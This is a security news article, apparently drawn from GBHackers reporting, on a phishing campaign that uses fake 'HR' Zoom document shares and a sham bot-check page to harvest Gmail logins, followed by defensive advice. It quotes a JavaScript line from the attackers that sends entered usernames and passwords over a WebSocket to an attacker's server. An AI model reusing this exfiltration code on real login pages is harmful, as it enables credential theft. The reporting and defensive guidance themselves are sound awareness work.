Cybercriminals Impersonate HR Departments to Harvest Your Gmail Login Details
A recent phishing attack involved a deceptive Zoom document share from "HR," which redirected users through a fake bot-protection page to a Gmail login phishing site. User credentials were exfiltrated in real-time via WebSocket connections and validated…
A recent phishing attack involved a deceptive Zoom document share from "HR," which redirected users through a fake bot-protection page to a Gmail login phishing site. User credentials were exfiltrated in real-time via WebSocket connections and validated immediately.
The attack utilized a legitimate-looking email titled "HR application" from a valid Zoom Docs address. The email passed SPF, DKIM, and DMARC checks, creating a false sense of security for recipients. The link appeared to be a standard Zoom document URL but redirected to a malicious server, prompting users to "Press & Hold to confirm." This led to a Gmail credential harvesting page.
The phishing page not only mimicked Gmail’s interface but also employed a WebSocket connection for real-time data theft. Upon credential entry, a live channel was established to the attacker's command-and-control server:
const ws = new WebSocket('wss://overflow.qyrix.com.de/ws'); ws.onopen = () => { const payload = JSON.stringify({ user: username, pass: password }); ws.send(payload); ws.close(); };
User credentials were exfiltrated in real-time via WebSocket connections and validated immediately.
This setup enabled immediate exfiltration of usernames and passwords and real-time validation against Google's authentication API.
Treat any Zoom share link pointing to a non-zoom.us domain as suspicious. Be wary of "Press & Hold" verifications or unusual login prompts. Monitor for unexpected outbound WebSocket connections. Use URL rewriting and domain reputation checks to flag malicious URLs. Reset passwords immediately if credentials are compromised and enable two-factor authentication. Inspect full email headers for domain mismatches. Block malicious domains at DNS or proxy levels. Report suspicious activities to Zoom's abuse portal and Google's phishing report form. Encourage the use of password managers to prevent credential autofill on phishing sites.
While Zoom's document-sharing features facilitate collaboration, they can be exploited for phishing attacks. Awareness of URL legitimacy, email header checks, and unusual authentication steps can mitigate these threats.
Based on reporting by GBHackers.